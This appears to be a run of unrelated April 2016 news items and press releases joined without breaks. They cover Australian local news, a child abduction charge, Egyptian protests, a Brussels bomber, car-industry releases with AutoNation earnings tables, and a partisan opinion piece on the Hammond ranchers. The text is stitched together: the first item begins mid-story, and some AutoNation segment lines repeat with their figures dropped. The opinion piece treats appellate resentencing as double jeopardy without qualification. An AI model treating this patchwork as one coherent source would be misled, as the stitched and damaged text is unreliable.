The road rules translated into Italian.

The road rules will be made into signs, which will be displayed at local shops and backpackers.

"Most people either shop in town, or hostel in town, some of them choose to live in their cars, but there will be somewhere they can go to where these signs will be available like in bottle shops or even Coles and Woolworths," said Mr De Campo.
Police in the Kimberley have found a unique way to confiscate alcohol from street drinkers, running over a line of around 30 Emu Export cans in their 4WD on Thursday night.

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In a hit to bush chook lovers everywhere, Wyndham Police posted a video of the exploding cans to its Twitter account, not long after the incident.

A spokesman for the station said the cans were confiscated in town where street drinking is a common problem.
Vigilantes have painted graffiti on a house in North Perth believed to be the home of the man accused of allegedly abducting and sexually assaulting two children after snatching them from a school holiday daycare centre on Tuesday.

On Thursday, police arrested a 52-year-old North Perth man for allegedly enticing a 4-year-old girl and 5-year-old boy from a holiday school care program in North Perth - sparking a manhunt on Tuesday.

CCTV footage was released as part of the manhunt. Credit:WA Police

He has been charged with three counts of sexual penetration of a child under 13 years of age and two counts of deprivation of liberty.

He was arrested late on Wednesday afternoon in relation to another matter, but was later questioned over the alleged attack in North Perth.
Cairo: Tarek "Tito" Hussein feared he would be locked up again when he decided to take part in protests against Egypt's decision to hand over two islands in the Red Sea to Saudi Arabia.

He and his brother Mahmoud were imprisoned - Mahmoud for wearing a T-shirt bearing the text "A nation without torture". Mahmoud was only released three weeks ago.

"I felt like it was January all over again," Hussein told Fairfax Media, referring to the Egyptian revolution in January 2011 that toppled long-time autocrat Hosni Mubarak. "Back then we chanted 'bread, freedom, social justice' and this time we chanted 'bread, freedom, these are Egyptian islands'."

The islands demonstration - numbering around 2000 people - was the largest Egypt had seen since a draconian anti-protest law was passed in November 2013. Asked about it while meeting French President Francois Hollande, Egyptian leader Abdel Fattah al-Sisi said there were "plots to destroy the country from within". Nearly a 100 youths were arrested nationwide.
Paris: Najim Laachraoui, one of the two suicide bombers who attacked Brussels Airport last month, has been identified by former Islamic State hostages as one of their captors in Syria, a lawyer for several of the hostages said Friday.

Marie-Laure Ingouf, a lawyer for Nicolas Henin and Pierre Torres, two of four French journalists who were first detained in 2013 by Islamic State in Syria, said that the former hostages had identified one of their captors as Laachraoui, who used the name Abu Idris at the time.

Photographs of Najim Laachraoui released by authorities following the Brussels attacks. Credit:AP

In the latest issue of Islamic State's online magazine Dabiq, Laachraoui was identified by the nom de guerre Abu Idris al-Baljiki.
TORRANCE, Calif., April 22, 2016 -- Acura is returning to the New Orleans Jazz & Heritage Festival as the official automotive and main stage sponsor beginning Friday, April 22 and running through Sunday, May 1, 2016. This year marks the automaker's 17th year in partnering with Jazz Fest to celebrate the unique culture and heritage of New Orleans alongside nationally and internationally renowned musical artists. Also in 2016, Acura is expanding its support of the arts in The Big Easy with local music partnerships.

Acura will again host the Main Stage -- the "Acura Stage" -- with a diverse range of performances by some of the world's most accomplished musicians including Stevie Wonder, Pearl Jam, Red Hot Chili Peppers, Neil Young, Paul Simon and Trombone Shorty & Orleans Avenue, among others.

New for 2016: Acura Expands New Orleans Footprint

In conjunction with the Trombone Shorty Foundation, Acura is the official automotive sponsor of the Shorty Fest benefit concert hosted by Troy "Trombone Shorty" Andrews, who is marking his fourth year closing out the Acura Stage at Jazz Fest. Additionally this year, Acura will donate several Acura VIP Packages to the silent auction at the House of Blues to benefit the Foundation.

Also new this year, Acura is presenting "Trad Fridays" at the New Orleans Center for Creative Arts (NOCCA), a celebration of teaching traditional brass-band street music to the classically trained students at NOCCA. "Trad Fridays" is a new program launched in 2016 by The Trombone Shorty Foundation in partnership with NOCCA where notable brass-band legends lead a series of four classes each semester. The student band from NOCCA is set to perform at Shorty Fest 2016 and officially announce Acura's sponsorship of this semester's classes.

"Acura has a long history with the New Orleans Jazz & Heritage Festival and we are excited about broadening that relationship with local arts education programs through our expanding collaboration with Trombone Shorty," said Jon Ikeda, vice president of Acura Sales. "Support of the arts is very important to the Acura brand, and extending that to local student performers supported by the Trombone Shorty Foundation will help foster the next generation of dynamic musicians."

As part of the Jazz Fest partnership activation, Acura will present its full model lineup of vehicles in the Acura Product Experience tent, which includes five display vehicles, top-of-the-line listening booths set up inside Acura MDX and RDX models, virtual reality driving games, a green screen photo booth featuring the NSX Supercar and more. The Acura Product Experience is open to the public and provides select lucky festival attendees the chance to win access to the exclusive Acura VIP Lounge and special passes to the Acura side stage.

For Jazz Fest 2016, fans are able to enter the "Acura Tweet Your Way to the Front Row" sweepstakes on Twitter for VIP festival front row access by tweeting Jazz Fest photos tagged with #AcuraLive and #SweepsEntry.

For the full lineup of artists and more information on the New Orleans Jazz & Heritage Festival, visit www.nojazzfest.com.

For more information on Shorty Fest 2016 and the Trombone Shorty Foundation, visit www.tromboneshortyfoundation.org.

For More Information

Consumer information is available at www.acura.com. To join the Acura community on Facebook, visit facebook.com/Acura. Additional media information including pricing, features and high-resolution photography is available at acuranews.com/channels/acura-automobiles.

About Acura

Acura is a leading automotive luxury nameplate that delivers Precision Crafted Performance through advanced product design and innovative technologies like Acura Super Handling All-Wheel Drive (SH-AWD) and Precision All-Wheel Steer (P-AWS). On March 27, 2016, Acura will celebrate the 30th anniversary of its launch as the first luxury nameplate from a Japanese automaker.

The Acura lineup features five distinctive models  the RLX luxury flagship sedan, the TLX performance luxury sedan, the ILX sport sedan, the 5-passenger RDX luxury crossover SUV, and the seven-passenger Acura MDX, America's all-time best-selling three-row luxury SUV. This spring, Acura will launch its next-generation, electrified NSX supercar as a new and pinnacle expression of Acura Precision Crafted Performance.
FORT LAUDERDALE, Fla., April 22, 2016 -- AutoNation, Inc. , America's largest automotive retailer, today reported first quarter 2016 net income from continuing operations of $96 million, or $0.90 per share, compared to net income from continuing operations of $112 million, or $0.97 per share, for the same period in the prior year. Net income from continuing operations for the first quarter of 2016 was negatively impacted by approximately $6.8 million after-tax, or $0.06 per share, consisting of hail-related expenses of approximately $3.6 million after-tax, or $0.03 per share, and a shift of approximately $3.2 million after-tax, or $0.03 per share, in stock-based compensation expense into the first quarter, due to a change from quarterly to annual stock option grants.

Mike Jackson, Chairman, Chief Executive Officer and President, said, "As we stated last quarter, the market is in a plateau environment. Industry retail sales for the quarter were flat despite year over year manufacturer incentive increases of 14%, new vehicle sales lease penetration over 30%, and high retail inventories. We still believe the industry will be above 17 million units for the year."

Acquisitions

In February 2016, AutoNation completed the previously announced acquisition of 12 stores operating in the Houston, Dallas-Fort Worth, Corpus Christi, Tyler, Ennis, and Waco, Texas markets from Allen Samuels Auto Group.

Share Repurchase

During the first quarter of 2016, AutoNation repurchased 7.9 million shares of common stock for an aggregate purchase price of $371 million. As of April 21, 2016, AutoNation has approximately $175 million remaining Board authorization for share repurchase and 103 million shares outstanding.

Segment Results

Segment results(1) for the first quarter of 2016 were as follows:

Domestic - Domestic segment income (2) was $77 million compared to year-ago segment income of $79 million , a decrease of 2%.

- Domestic segment income was compared to year-ago segment income of , a decrease of 2%. Import - Import segment income (2) was $76 million compared to year-ago segment income of $75 million , an increase of 1%.

- Import segment income was compared to year-ago segment income of , an increase of 1%. Premium Luxury - Premium Luxury segment income(2) was $83 million compared to year-ago segment income of $94 million , a decrease of 12%.

The first quarter conference call may be accessed by telephone at (888) 769-8515 (password: AutoNation) at 11:00 a.m. Eastern Time or on AutoNation's investor relations website at http://investors.autonation.com.

The webcast will also be available on AutoNation's website under "Events & Presentations" following the call. A playback of the conference call will be available after 1:00 p.m. Eastern Time on April 22, 2016, through May 06, 2016 by calling (888) 562-6281 (password 5423).

(1) AutoNation has three operating segments: Domestic, Import, and Premium Luxury. The Domestic segment is comprised of stores that sell vehicles manufactured by General Motors, Ford, and FCA US (formerly Chrysler); the Import segment is comprised of stores that sell vehicles manufactured primarily by Toyota, Honda, Nissan, and Hyundai; and the Premium Luxury segment is comprised of stores that sell vehicles manufactured primarily by Mercedes-Benz, BMW, Lexus, and Audi.



(2) Segment income represents income for each of our reportable segments and is defined as operating income less floorplan interest expense.

About AutoNation, Inc.

AutoNation is America's largest automotive retailer, currently owning and operating 375 new vehicle franchises from coast to coast. AutoNation sold its 10 millionth vehicle in 2015, the first automotive retailer to reach this milestone. A commitment to delivering a peerless experience through customer-focused sales and service processes is what drives AutoNation's success. AutoNation supports the Breast Cancer Research Foundation through its Drive Pink Campaign. AutoNation is transforming the automotive industry through bold leadership, technology and innovation.

Please visit investors.autonation.com, www.autonation.com, www.autonationdrive.com, www.twitter.com/autonation, www.twitter.com/CEOMikeJackson, www.facebook.com/autonation, and www.facebook.com/CEOMikeJackson, where AutoNation discloses additional information about the Company, its business, and its results of operations.

AUTONATION, INC.

UNAUDITED CONDENSED CONSOLIDATED INCOME STATEMENTS

(In millions, except per share data)





















Three Months Ended March 31,







2016

2015















Revenue:











New vehicle

$ 2,800.2

$ 2,769.6



Used vehicle

1,241.6

1,193.2



Parts and service

820.4

743.4



Finance and insurance, net

223.1

207.6



Other

34.3

30.4

Total revenue

5,119.6

4,944.2















Cost of sales:











New vehicle

2,651.0

2,608.1



Used vehicle

1,150.6

1,089.5



Parts and service

465.7

423.4



Other

26.4

23.3

Total cost of sales

4,293.7

4,144.3















Gross profit

825.9

799.9















Selling, general, and administrative expenses

588.7

557.6

Depreciation and amortization

34.8

28.7

Other income, net

(5.0)

(1.3)















Operating income

207.4

214.9















Non-operating income (expense) items:











Floorplan interest expense

(18.9)

(13.2)



Other interest expense

(28.3)

(21.4)



Interest income

0.1

0.1



Other income (loss), net

(3.4)

1.1















Income from continuing operations before income taxes

156.9

181.5















Income tax provision

60.7

69.8















Net income from continuing operations

96.2

111.7















Loss from discontinued operations, net of income taxes

(0.3)

(0.2)





























Net income

$ 95.9

$ 111.5





























Diluted earnings (loss) per share*:











Continuing operations

$ 0.90

$ 0.97



Discontinued operations

$ -

$ -

















Net income

$ 0.89

$ 0.97





























Weighted average common shares outstanding

107.4

115.1















Common shares outstanding, net of treasury stock, at period end

103.1

113.9





























* Earnings per share amounts are calculated discretely and therefore may not add up to the total due to rounding.

AUTONATION, INC. UNAUDITED SUPPLEMENTARY DATA ($ in millions, except per vehicle data)



















































Operating Highlights

Three Months Ended March 31,









2016

2015

$ Variance

% Variance

Revenue:





















New vehicle

$ 2,800.2

$ 2,769.6

$ 30.6

1.1





Retail used vehicle

1,119.9

1,094.1

25.8

2.4





Wholesale

121.7

99.1

22.6

22.8





Used vehicle

1,241.6

1,193.2

48.4

4.1





Finance and insurance, net

223.1

207.6

15.5

7.5



Total variable operations

4,264.9

4,170.4

94.5

2.3



Parts and service

820.4

743.4

77.0

10.4



Other

34.3

30.4

3.9





Total revenue

$ 5,119.6

$ 4,944.2

$ 175.4

3.5

















































Gross profit:





















New vehicle

$ 149.2

$ 161.5

$ (12.3)

(7.6)





Retail used vehicle

93.7

102.5

(8.8)

(8.6)





Wholesale

(2.7)

1.2

(3.9)









Used vehicle

91.0

103.7

(12.7)

(12.2)





Finance and insurance

223.1

207.6

15.5

7.5



Total variable operations

463.3

472.8

(9.5)

(2.0)



Parts and service

354.7

320.0

34.7

10.8



Other

7.9

7.1

0.8





Total gross profit

825.9

799.9

26.0

3.3

























Selling, general, and administrative expenses

588.7

557.6

(31.1)

(5.6)

























Depreciation and amortization

34.8

28.7

(6.1)





Other income, net

(5.0)

(1.3)

3.7





Operating income

207.4

214.9

(7.5)

(3.5)

























Non-operating income (expense) items:





















Floorplan interest expense

(18.9)

(13.2)

(5.7)









Other interest expense

(28.3)

(21.4)

(6.9)









Interest income

0.1

0.1

-









Other income (loss), net

(3.4)

1.1

(4.5)





Income from continuing operations before income taxes

$ 156.9

$ 181.5

$ (24.6)

(13.6)

























Retail vehicle unit sales:





















New

79,007

78,560

447

0.6





Used

58,103

58,624

(521)

(0.9)









137,110

137,184

(74)

(0.1)

























Revenue per vehicle retailed:





















New

$ 35,442

$ 35,255

$ 187

0.5





Used

$ 19,274

$ 18,663

$ 611

3.3

























Gross profit per vehicle retailed:





















New

$ 1,888

$ 2,056

$ (168)

(8.2)





Used

$ 1,613

$ 1,748

$ (135)

(7.7)





Finance and insurance

$ 1,627

$ 1,513

$ 114

7.5





Total variable operations(1)

$ 3,399

$ 3,438

$ (39)

(1.1)





















































Operating Percentages

Three Months Ended March 31,

















2016 (%)

2015 (%)

































Revenue mix percentages:





















New vehicle

54.7

56.0













Used vehicle

24.3

24.1













Parts and service

16.0

15.0













Finance and insurance, net

4.4

4.2













Other

0.6

0.7

















100.0

100.0

































Gross profit mix percentages:





















New vehicle

18.1

20.2













Used vehicle

11.0

13.0













Parts and service

42.9

40.0













Finance and insurance

27.0

26.0













Other

1.0

0.8

















100.0

100.0

































Operating items as a percentage of revenue:





















Gross profit:





















New vehicle

5.3

5.8













Used vehicle - retail

8.4

9.4













Parts and service

43.2

43.0













Total

16.1

16.2













Selling, general, and administrative expenses

11.5

11.3













Operating income

4.1

4.3

































Operating items as a percentage of total gross profit:





















Selling, general, and administrative expenses

71.3

69.7













Operating income

25.1

26.9

























































(1) Total variable operations gross profit per vehicle retailed is calculated by dividing the sum of new vehicle, retail used vehicle, and finance and insurance gross profit by total retail vehicle unit sales.

AUTONATION, INC. UNAUDITED SUPPLEMENTARY DATA ($ in millions)













































Segment Operating Highlights

Three Months Ended March 31,







2016

2015

$ Variance

% Variance













































Revenue:



















Domestic

$ 1,848.2

$ 1,665.7

$ 182.5

11.0



Import

1,675.0

1,678.7

(3.7)

(0.2)



Premium luxury

1,540.3

1,563.2

(22.9)

(1.5)



Total

5,063.5

4,907.6

155.9

3.2



Corporate and other

56.1

36.6

19.5

53.3



Total consolidated revenue

$ 5,119.6

$ 4,944.2

$ 175.4

3.5













































Segment income*:



















Domestic

$ 77.4

$ 79.3

$ (1.9)

(2.4)



Import

76.1

75.0

1.1

1.5



Premium luxury

83.0

94.1

(11.1)

(11.8)



Total

236.5

248.4

(11.9)

(4.8)























Corporate and other

(48.0)

(46.7)

(1.3)





Add: Floorplan interest expense

18.9

13.2

5.7





Operating income

$ 207.4

$ 214.9

$ (7.5)

(3.5)























* Segment income represents income for each of our reportable segments and is defined as operating income less floorplan interest expense.





















Retail new vehicle unit sales:



















Domestic

27,736

25,750

1,986

7.7



Import

35,781

36,914

(1,133)

(3.1)



Premium luxury

15,490

15,896

(406)

(2.6)







79,007

78,560

447

0.6















































Brand Mix - New Vehicle Retail Units Sold























Three Months Ended March 31,















2016 (%)

2015 (%)

































Domestic:



















Ford, Lincoln

15.2

16.5











Chevrolet, Buick, Cadillac, GMC

11.3

9.8











Chrysler, Dodge, Jeep, Ram

8.6

6.5











Domestic total

35.1

32.8

































Import:



















Toyota

17.3

18.7











Honda

11.9

10.9











Nissan

9.1

10.1











Other Import

7.0

7.3











Import total

45.3

47.0

































Premium Luxury:



















Mercedes-Benz

8.2

8.1











BMW

4.2

4.9











Lexus

3.0

3.2











Audi

2.0

1.9











Other Premium Luxury (Land Rover, Porsche)

2.2

2.1











Premium Luxury total

19.6

20.2





































100.0

100.0











AUTONATION, INC UNAUDITED SUPPLEMENTARY DATA, Continued ($ in millions)

















































































Capital Expenditures / Stock Repurchases

Three Months Ended March 31,













2016

2015



























Capital expenditures (1)

$ 50.7

$ 62.9







Cash paid for acquisitions, net of cash acquired (2)

$ 256.6

$ 27.7







Proceeds from exercises of stock options

$ 0.6

$ 12.4







Stock repurchases:

















Aggregate purchase price

$ 370.6

$ 9.1









Shares repurchased (in millions)

7.9

0.2

















































Floorplan Assistance and Expense

Three Months Ended March 31,









2016

2015

Variance











































Floorplan assistance earned (included in cost of sales)

$ 29.3

$ 26.7

$ 2.6



New vehicle floorplan interest expense

(17.9)

(12.5)

(5.4)

























Net new vehicle inventory carrying benefit

$ 11.4

$ 14.2

$ (2.8)













































Balance Sheet and Other Highlights









































March 31, 2016

December 31, 2015

March 31, 2015























Cash and cash equivalents

$ 47.8

$ 74.1

$ 74.1



Inventory

$ 3,927.8

$ 3,612.0

$ 2,928.4



Total floorplan notes payable

$ 4,039.4

$ 3,727.1

$ 3,002.4



Non-vehicle debt (3)

$ 2,680.5

$ 2,356.5

$ 2,051.3



Equity

$ 2,090.6

$ 2,349.3

$ 2,205.6



New days supply (industry standard of selling days)

81 days

68 days

52 days



Used days supply (trailing calendar month days)

39 days

43 days

34 days

































































Key Credit Agreement Covenant Compliance Calculations(4)



































Leverage ratio





2.60x







Covenant less than or equal to

3.75x



























Capitalization ratio





64.9%







Covenant less than or equal to

70.0%















































(1) Includes accrued construction in progress and excludes property associated with capital leases entered into during the period.





(2) Excludes capital leases and deferred purchase price commitments.





(3) Pursuant to an accounting standard update effective January 1, 2016, all debt issuance costs have been reclassified, with the exception of those related to our revolving credit facility, as a direct reduction from the carrying amount of the related debt liability for both current and prior periods.





(4) Calculated in accordance with our credit agreement as filed with the SEC.






HUDSON, Ohio, April 22, 2016 -- Hedges & Company, an automotive market research firm, is inviting automotive and truck owners who have recently purchased parts or accessories to participate in a survey. The survey is brief and only takes about five minutes to complete. The survey can be accessed here: https://surveys.hedgescompany.com/jfe6/form/SV_0iehEx2JuP8gx13

Respondents will be asked various questions on the process of purchasing parts. Respondents will also have an opportunity to be entered into a drawing to win a $100 VISA gift card.

The survey is open to all parts and accessory buyers, whether they purchased OEM replacement parts or performance parts and accessories. The results of the survey will be published at a later date for the automotive aftermarket to better understand the buying process.

ABOUT HEDGES & COMPANY

Hedges & Company is a market research and digital marketing agency specializing in the automotive aftermarket. The company has extensive experience helping clients with business-to-business and consumer research studies in addition to its own Buyer Zoom and Brand Zoom syndicated reports. Hedges & Company offers a full-range of digital marketing services to the aftermarket including paid search, search engine optimization (SEO), social media management, email marketing, vehicle registration lists and data.
TRUE ZERO Opens the LARGEST Hydrogen NETWORK in the World with Unprecedented Speed

IRVINE, CA - April 22, 2016: Significantly larger numbers of electric fuel-cell cars will go on sale in California this year following decades of hard work by thousands of automotive engineers, policymakers, and government-agency personnel. The simultaneous launch of the True Zero (www.truezero.com) Network, a series of hydrogen-charge stations being established by start-up FirstElement Fuel Inc. (www.firstelementfuel.com), will help eliminate the major roadblock facing these types of cars: anxiety over finding a reliable place to charge.

"In the past the lack of a fueling network kept fuel-cell vehicles off the road, and has been hampering activity in recent years," explained Joel Ewanick, chief executive officer of Irvine-based FirstElement Fuel. "Soon, a short stop for a four-minute charge of True Zero hydrogen will enable drivers of all-electric fuel-cell cars to confidently get to their destination without the worry of range anxiety."

The first 15 True Zero stations (photos at www.truezero.com/images/) were brought online at an unprecedented speed and scale throughout Silicon Valley, the greater Los Angeles area, Lake Tahoe area, and Harris Ranch in the San Joaquin Valley. An additional four stations are expected to be online by year's end. The projects are being funded in large part by grants from the California Energy Commission, South Coast AQMD and Bay Area AQMD, as well as partnerships with automotive firms Toyota and Honda who are first to market with fuel-cell electric vehicles. This network gives confidence to the hydrogen community that the industry can quickly bring on line the required stations to meet the demand and timing of the OEM's.

"We owe a special thanks to the State of California and to the automakers committed to fuel-cell vehicles for their persistence and support," said Ewanick. "It goes well beyond the financial assistance; the technical assistance has also been critical. We knew building out this network was going to be challenging. Having completed 15 stations in 18 months is an unprecedented achievement."

True Zero represents the world's largest network of hydrogen-charge ports ready for retail consumers. Customers are now able to charge their vehicles at stations throughout California.

"These 15 stations are on the verge of being open for the first wave of hydrogen-electric vehicle customers," said Ewanick. "Even though we are achieving 99 percent uptime  we strive to perfect the stations  we don't want to leave anyone stranded. As with any new technology we continue to work through glitches surrounding the launch of a product that is cutting-edge. Opening a True Zero charging station is not the finish line, it's the starting line. It's all about the customer experience and 100 percent reliability."

This generation of electric vehicles powered by fuel cells will be able to travel more than 300 miles on a single charge and a "fill up" of True Zero will take four minutes or less. "So customers will be able to drive an electric fuel cell car seamlessly throughout California, through the San Joaquin Valley and out to Lake Tahoe, just like they drive a gasoline, car thanks to the True Zero Network," added Ewanick.

The brand name True Zero speaks to the benefit that fuel cell vehicles will achieve.

"True Zero symbolizes the ultimate goal  a vehicle fuel with zero pollution, zero use of fossil fuels and zero greenhouse gases in both its production and use," explained Ewanick. "It's about the drive towards zero emissions from well to wheels; towards zero impact on the environment from a motor vehicle."

As a fuel, hydrogen is similar to electricity in that it is produced from a variety of sources. In California one third of the hydrogen produced today comes from renewable sources, with the remaining two thirds incorporating natural gas and water. An electric vehicle powered by hydrogen uses its fuel cell to convert the hydrogen into electricity to run the motor. The only emission coming from the vehicle is water.

Once its 19 initial charging ports are completed, it is estimated the True Zero Network will have the capacity to replace 2.5 million gallons of gasoline with domestically sourced hydrogen and reduce CO 2 emissions by 34 million pounds each year,* or the equivalent to planting a forest nearly the size of San Francisco.

* Well-to-Wheels Greenhouse Gas Emissions of Advanced and Conventional Vehicle Drive Trains and Fuel Production Strategies, Advanced Power and Energy Program, University of California, Irvine. August 2014. [http://www.apep.uci.edu/3/ResearchSummaries/pdf/SustainableTransportation/WTW_vehicle_greenhouse_gases_Public.pdf]
With the media so locked on Donald Trump productions for the last several months they missed a serious precedent setting double jeopardy violation of the Constitution last winter. Two men, father and son ranchers, are presently again sitting in jail for the same crime after having completed their sentences and been free for more than a year. Not for a new crime but because the Justice Department, thinking the sentences of a the previous District Court not harsh enough, appealed to the U. S. Ninth Circuit Court of Appeals which resentenced both to longer terms.

Both then were rearrested, reconvicted and reincarcerated because the federal government did not like the ruling of their own federal judge  and, again, this after the previous sentences had been served. How is this not double jeopardy?

The 5th Amendment to the Bill of Rights reads in part, nor shall any person be subject for the same offence to be twice put in jeopardy of life or limb. This cannot be allowed to stand or we all lose this part of the Constitution; left uncontested, past practice tends to set the new parameters making it so much more difficult to get back to the Constitution as designed.

This case has another strange twist. It allows someone adjacent to federal land that burns unwanted debris, the fire from which accidentally burns a portion of federal land, to be convicted as a terrorist with a mandatory five-year sentence. Dwight and Steven Hammond, law abiding, patriotic and model citizens in their community, are serving second sentences as terrorists for precisely this reason. Their 2001 control burn got out of control consuming, in addition to Hammond property, 150 acres of federal land. The burn, mostly grass, did not destroy actual property.

Judge Michael Hogan, understood and factored in the above conditions and offered leniency giving Dwight (74) three months and his son Steven (46) one year and one day. They also settled on paying $400,000 on firefighting expenses. But he felt that The Anti-terrorism and Effective Death Penalty Act of 1996, of which they were charged, which required a minimal sentence of 5 years in prison, defining the Hammon's as terrorists, was grossly excessive thus violating Amendment 8 of the Bill of Rights, prohibiting cruel or unusual punishment because of the excessive length of time mandated and the terrorist label thereafter attached to the defendants. Thus the sentence of arson, rather than terrorist, as mandated by the faulty law, was rendered.

Undermining the authority of Judge Hogan, a Ninth Circuit judge -- despite the double jeopardy clause in the Fifth Amendment -- reinstated the 5-year sentence and the two were rearrested. It was Bureau of Land Management Field Manager and Refuge Manager for the Malheur Refuge, property adjacent to the Hammons, that filed the appeal. The Malheur Refuge would benefit because BLM had benefited from other ranches they had had a hand in forcing to sell, thus enlarging the Refuge, and they expected to do the same to the Hammond property.

The Hammons went back to prison peacefully and today are in a minimum-security facility in Los Angeles. If the government really thought that they were real terrorists they would never have given but minimum security. In their case the Obama Department of Justice denied justice and violated the Constitution in both the 5th and 8th Amendments. A law, in this case The Anti-terrorism and Effective Death Penalty Act of 1996, is never to trump the Constitution but has.

The event refueled the range war with the Bureau of Land Management as hundreds, incensed by similar heavy handedness by federal agencies on properties all over the West, hoped for injustice exposed. Some few of these descended on Oregon taking over the Malheur Refuge and illegally occupied it for the next several months, which unfortunately provided the media with a story with far more drama than the rancher squeeze story. The Hammond's were largely forgotten. The U.S. Supreme Court declined to hear their appeal, probably because of the Refuge Standoff, thus allowing the appellate courts unconstitutional ruling to stand. This compounded the injustice.

The Hammon family experience with BLM tyranny is similar to that of Cliven Bundy whose Nevada Standoff, two years ago, got great publicity. Both families had been ranchers for generations long before the BLM (1946) existed. They were both survivalists from decades of federal government rancher squeeze since the 1970s. Part of the squeeze was to drastically reduce gracing permits for ranchers dependent upon them for their livelihood and significantly raise grazing fees for those still remaining. In both instances, and in hundreds more, ranchers were force to sell at fire sale prices and in these two instances the Hammons and the Bundys were essentially the last to stand. The Hammons differed only in that the BLM and the US Fish and Wildlife Service coveted their property since the 1970s expecting to enlarge the Malheur National Wildlife Refuge with it, as they had the property of other ranchers that bordered them.

In the case of the Bundys only Article I, Section 8 clause 17 of the Constitution dealing with federal land has been violated. For the Hammons the same violations exist plus Amendment 8, cruel and unusual punishment and Amendment 5 being subject for the same offence to be twice put in jeopardy of life or limb, known commonly as double jeopardy. How can one serve a sentence and then be retried and given a larger sentence? But it happened.
Carmakers join forces on new apprenticeship partnership

LEADING UK car manufacturers have joined forces to help launch a new apprenticeship scheme.

The Automotive Apprenticeship Matching Service will help develop the skilled workforce needed by the firms to secure their future. It will also stop potential recruits from slipping through the cracks or giving up on the industry and looking elsewhere for a career.

The new Matching Service, developed and funded through the Automotive Industrial Partnership (an industry skills collaboration, supported by government), will help up to 10,000 candidates each year secure an automotive apprenticeship, where the company programmes to which they apply are oversubscribed.

One company to have pledged its support is the BMW Group, which currently employs more than 200 apprentices across its UK operations. It receives around 1,000 applications for its annual intake of 50 trainees.

It is expected that the Matching Service will be of particular benefit to the wider automotive supply chain in which the OEMs operate, ensuring that high-calibre candidates seeking a career in the sector are helped to succeed.

Other employers collaborating on the scheme include Bentley, Ford, GKN, Honda, Jaguar Land Rover, Nissan, Toyota and Vauxhall.

The launch of the service comes as new research carried out by advanced manufacturing skills body Semta, on behalf of the Automotive Industrial Partnership, reveals how a shortage of adequate training provision in the sector could start to impact on the skills needed to sustain automotive productivit, particularly in manufacturing and engineering disciplines.

The report complements earlier research which found up to 5,000 job vacancies in the sector could be vacant due to a lack of skills needed to fulfil them.

Dr Simon Farrall, Head of Apprentice and Associate Training at BMW Group and Vice-Chair of the Automotive Industrial Partnership, said: As a major UK employer that is committed to developing skills in our industry, were delighted to be working with the Automotive Apprenticeship Matching Service. Each year we have huge interest in our apprenticeship programmes and receive far more applications than there are places available. There are some very capable candidates who apply to us and we dont want to simply turn people away.

By introducing these candidates to the Matching Service, engineering businesses can access these quality applicants, which enables them to recruit more effectively. This not only enables companies to secure their talent pipeline but also helps to retain and nurture much needed skills within the automotive sector.

Jo Lopes, Head of Technical Excellence at Jaguar Land Rover and Chair of the Automotive Industrial Partnership said, As an industry, the automotive sector has a long standing history of providing apprenticeships  and there are many great career opportunities. But we recognise that there is more we can do to attract and support our new talent pipeline. By taking a collaborative and innovative approach to developing new skills solutions, with larger employers working alongside smaller component manufacturers we are ensuring that our whole industry will benefit.

The new initiative already has the support of the government.

Skills Minister Nick Boles said: The UK is the most productive of all European car manufacturers  if we are to maintain this position, its essential that we have the right skills. Apprenticeships provide an opportunity for young people to gain valuable skills that employers in the industry want and need and services like the Automotive Apprenticeship Matching Service are a prime example of industry working together to make the most of the opportunities they can offer.
Hammerson agrees 420m bank facility to fund Birmingham acquisitions

RETAIL property investor Hammerson has secured a new 420m bank facility which will be used in part to refinance its latest shopping spree in Birmingham.

The bank facility is thought to be the largest arranged by a UK property company so far this year.

The group is half owner of the Bullring shopping centre and it acquired the new Grand Central scheme above New Street Station in January in a deal worth 335m. It has since sold a half share in Grand Central to its Bullring JV partner, the Canadian Pension Plan Investment Board for 175m.

In a statement to the London Stock Exchange today, Hammerson said the new unsecured Revolving Credit Facility had an initial margin of 90 basis points and was spread between a syndicate of eight international banks.

Read next: New Waitrose set to anchor Bromsgrove regeneration scheme

The new facility will refinance the existing 150m RCF which would have matured in April 2017 and which featured a margin of 150 basis points. The latest facility has a maturity of five years which may be extended to a maximum of seven years on Hammersons request and on each banks approval.

The commercial terms are the same as the 415m RCF signed in April 2015 and include Hammersons standard unsecured financial covenants.

The existing 150m facility will now be cancelled resulting in a net increase of 270m of undrawn facilities.

Hammerson said the increase in liquidity would be used to partially refinance the 1.5bn RCF used for recent investments in Ireland and Birmingham.



Following the signing of the new RCF, the total committed financing available to Hammerson is approximately 4.4bn.

Timon Drakesmith, Chief Financial Officer of Hammerson, said: It is encouraging that the RCF is on the same attractive terms that we set in April 2015 and four new major international banks have joined our relationship group. We believe this bank facility is the largest arranged by a UK property company so far this year.

Lloyds Bank acted as co-ordinator for the facility and HSBC was appointed as Facility Agent. Bank of China London branch, China Construction Bank Corporation London branch, Lloyds Bank, Mizuho Bank and Wells Fargo Bank International were appointed Mandated Lead Arrangers and Bookrunners. Commitments were also provided by Barclays, Credit Industriel et Commercial and HSBC.




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Hey there, time traveller!

This article was published 21/04/2016 (2376 days ago), so information in it may no longer be current.

The Steinbach man arrested for masquerading as a medical doctor in a high-profile arrest two years ago has pled guilty to defrauding nine individuals.

The RCMP said in June 2014 Leslie Colmer saw and treated patients in Steinbach, Winnipeg, Selkirk and surrounding rural areas. He was arrested north of Grunthal.

Colmer, 66 years old at the time of his arrest, admitted to nine counts of fraud at Steinbach provincial court last Friday. The remaining fraud chargesat least 16 countsand two charges of assault were dropped by the Crown in exchange for the guilty plea. Colmer will be sentenced at a later date.

Steinbach RCMP triggered an intensive investigation after they received a complaint from a patient who had concerns with Colmers behaviour as a doctor and the medications he prescribed. The victim was seeing Colmer for what was believed to be a doctors appointment.

Police found that Colmer did not have a medical license. Formerly a practicing chiropractor in Selkirk, Colmer had his license revoked in 2004 for two years for professional misconduct, the Winnipeg Free Press reported at the time of his arrest. He had previously been convicted of fraud, theft and forgery charges. Colmer did not reapply for his license after his membership lapsed.
Citing lessons learned from online engagement with Bernie Bros, a pro-Hillary Clinton Super PAC is pledging to spend $1 million to push back against users on Twitter, Facebook, Reddit and Instagram.

Correct the Records Barrier Breakers project boasts in a press release that it has already addressed more than 5,000 people that have personally attacked Hillary Clinton on Twitter. The PAC released this on Thursday.

The PAC was created in May of last year when it was spun off from the American Bridge SuperPAC, which is run by longtime Hillary and Bill Clinton supporter David Brock. Brock also founded the left-wing media watchdog website Media Matters for America.

Some Bernie Sanders-supporting users on Reddit already started to notice the changes on Thursday afternoon.

